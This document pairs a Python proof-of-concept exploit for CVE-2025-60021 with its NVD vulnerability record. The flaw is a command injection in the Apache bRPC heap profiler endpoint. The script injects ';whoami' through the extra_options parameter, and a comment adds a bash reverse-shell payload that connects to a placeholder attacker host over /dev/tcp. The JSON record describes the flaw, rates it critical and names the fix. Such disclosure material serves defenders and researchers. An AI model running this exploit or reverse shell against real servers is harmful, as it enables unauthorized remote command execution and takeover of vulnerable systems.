CVE-2025-60021

import requests # CVE-2025-60021 PoC - Apache bRPC heap profiler RCE # Target: Apache bRPC < 1.15.0 # Endpoint: /pprof/heap target = "http://target:8080" endpoint = "/pprof/heap" # Malicious payload to execute remote command via extra_options parameter # The extra_options parameter is passed directly to command line without validation malicious_payload = ";whoami" # or any reverse shell command url = f"{target}{endpoint}?extra_options={malicious_payload}" try: response = requests.get(url, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Alternative: Reverse shell payload example # extra_options=;bash -i >& /dev/tcp/attacker_ip/port 0>&1

{"cve": {"id": "CVE-2025-60021", "sourceIdentifier": "[email protected]", "published": "2026-01-16T09:16:03.127", "lastModified": "2026-01-21T13:46:39.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Remote command injection vulnerability in heap profiler builtin service in Apache bRPC ((all versions < 1.15.0)) on all platforms allows attacker to inject remote command.\n\n\n\nRoot Cause: The bRPC heap profiler built-in service (/pprof/heap) does not validate the user-provided extra_options parameter and executes it as a command-line argument. Attackers can execute remote commands using the extra_options parameter..\n\nAffected scenarios: Use the built-in bRPC heap profiler service to perform jemalloc memory profiling.\n\nHow to Fix: we provide two methods, you can choose one of them:\n\n1. Upgrade bRPC to version 1.15.0.\n2. Apply this patch ( https://github.com/apache/brpc/pull/3101 ) manually."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos remota en el servicio integrado de perfilador de heap en Apache bRPC ((todas las versiones &lt; 1.15.0)) en todas las plataformas permite al atacante inyectar comandos remotos.\n\nCausa Raíz: El servicio integrado de perfilador de heap de bRPC (/pprof/heap) no valida el parámetro extra_options proporcionado por el usuario y lo ejecuta como un argumento de línea de comandos. Los atacantes pueden ejecutar comandos remotos utilizando el parámetro extra_options..\n\nEscenarios afectados: Uso del servicio integrado de perfilador de heap de bRPC para realizar el perfilado de memoria de jemalloc.\n\nCómo Solucionarlo: proporcionamos dos métodos, puede elegir uno de ellos:\n\n1. Actualice bRPC a la versión 1.15.0.\n2. Aplique este parche ( https://github.com/apache/brpc/pull/3101 ) manualmente."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:brpc:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.11.0", "versionEndExcluding": "1.15.0", "matchCriteriaId": "23A269EA-30FC-44CB-8613-380E64BD66F5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/xy51d2fx6drzhfp92xptsx5845q7b37m", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/16/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}